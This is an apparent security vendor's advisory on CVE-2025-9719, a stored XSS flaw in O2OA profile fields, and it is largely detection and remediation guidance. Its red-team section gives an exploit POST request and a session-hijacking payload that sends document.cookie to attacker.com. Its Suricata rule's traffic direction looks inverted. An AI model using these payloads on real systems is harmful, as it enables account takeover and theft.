CVE-2025-9719

Executive Summary

CVE-2025-9719 is a stored Cross-Site Scripting (XSS) vulnerability in O2OA, an open-source enterprise collaboration platform. The flaw resides in the /x_processplatform_assemble_designer/jaxrs/script endpoint, specifically within the Personal Profile Page component. An authenticated attacker can inject malicious scripts via the name, alias, description, or applicationName parameters. When an administrator or other user views the crafted profile, the script executes in their browser context, potentially leading to session hijacking, data theft, or further compromise. The vulnerability has a CVSS score of 3.5 (Low), but the public availability of exploit code increases the risk. A patch is available in version 10.0-411.

CVSS Breakdown & Threat Level

• CVSS Score: 3.5 (Low)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N
• Attack Vector (AV): Network – The attack is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – An attacker needs a valid user account.
• User Interaction (UI): Required – A victim must view the crafted profile.
• Scope (S): Unchanged – The vulnerability does not affect other components.
• Confidentiality (C): None – Direct data theft is not the primary impact.
• Integrity (I): Low – The attacker can modify content in the victim's browser.
• Availability (A): None – No denial of service impact.

Threat Level: Low, but elevated due to public exploit availability and the potential for privilege escalation if an admin views the malicious profile.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the O2OA platform. The application fails to properly sanitize user-supplied input in the name, alias, description, and applicationName fields of the Personal Profile Page. When a user updates their profile via the /x_processplatform_assemble_designer/jaxrs/script endpoint, the input is stored in the backend without adequate encoding. When an administrator or another user navigates to the affected profile page, the stored payload is rendered in the browser, allowing the attacker's script to execute.

The attack flow:

1. Attacker logs in with a valid account.
2. Attacker sends a POST request to /x_processplatform_assemble_designer/jaxrs/script with a malicious payload in one of the vulnerable parameters (e.g., name).
3. The payload is stored in the database.
4. An administrator or other user views the attacker's profile.
5. The payload executes in the victim's browser, potentially stealing cookies, performing actions on behalf of the victim, or redirecting to a malicious site.

Vulnerable vs. Patched Code

Vulnerable Code (O2OA <= 10.0-410): The vulnerable code likely lacks output encoding when rendering user profile fields. For example, in a Java-based view:

// Vulnerable: Directly outputs user input without encoding
out.println("<div>" + user.getName() + "</div>");

Patched Code (O2OA >= 10.0-411): The patched code properly encodes output using a context-aware encoding library (e.g., OWASP Java Encoder):

// Patched: Encodes output to prevent XSS
out.println("<div>" + Encode.forHtml(user.getName()) + "</div>");

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A valid user account on the O2OA instance.
• Network access to the target server.

Exploit Steps:

1. Authenticate to the O2OA instance.
2. Craft a malicious payload. Example:

   <script>alert('XSS')</script>
   

3. Send a POST request to the vulnerable endpoint:

   POST /x_processplatform_assemble_designer/jaxrs/script HTTP/1.1
   Host: target-o2oa.com
   Content-Type: application/json
   Cookie: JSESSIONID=valid_session_id
   
   {
     "name": "<script>alert('XSS')</script>",
     "alias": "test",
     "description": "test",
     "applicationName": "test"
   }
   

4. Wait for an administrator to view the profile, or navigate to the profile page yourself to confirm execution.

Advanced Payload (Session Hijacking):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Defensive)

Detection:

• Monitor for unusual POST requests to /x_processplatform_assemble_designer/jaxrs/script containing HTML tags or JavaScript.
• Look for anomalous profile updates from low-privileged users.

Hunting:

• Search logs for the presence of <script> or onerror patterns in the name, alias, description, or applicationName fields.
• Use the following Splunk query:

  index=web sourcetype=access_combined uri="/x_processplatform_assemble_designer/jaxrs/script" | search "name=*<script*" OR "alias=*<script*" OR "description=*<script*" OR "applicationName=*<script*"
  

Prevention:

• Apply the patch immediately.
• Implement a Web Application Firewall (WAF) rule to block XSS payloads in the vulnerable parameters.
• Enforce strict input validation and output encoding.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /x_processplatform_assemble_designer/jaxrs/script containing HTML/JavaScript in the request body.
  • Outbound connections to attacker-controlled domains from the O2OA server.

• File IOCs:

  • Log entries showing <script> tags in user profile fields.

• Behavioral IOCs:

  • Unusual profile updates from low-privileged accounts.
  • Unexpected JavaScript execution in the browser of users viewing profiles.

Detection Engineering

YARA Rule

rule CVE_2025_9719_O2OA_XSS {
    meta:
        description = "Detects XSS payloads in O2OA profile fields"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-9719"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['"].*?['"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: O2OA Stored XSS via Profile Fields
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2025-9719 by injecting XSS payloads into O2OA profile fields.
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/x_processplatform_assemble_designer/jaxrs/script'
    keywords:
        - '<script'
        - 'onerror'
        - 'onload'
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in profile fields (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-9719 O2OA Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/x_processplatform_assemble_designer/jaxrs/script"; http_uri; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade O2OA to version 10.0-411 or later.
2. WAF Rules: Deploy WAF rules to block XSS payloads in the vulnerable parameters.
3. Input Validation: Implement server-side validation to reject HTML/JavaScript in profile fields.

Long-Term Measures:

• Enforce output encoding using a library like OWASP Java Encoder.
• Conduct regular security audits and penetration testing.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Workaround (if patching is delayed):

• Disable the profile editing feature for non-admin users.
• Manually review and sanitize existing profile data.

Valters IT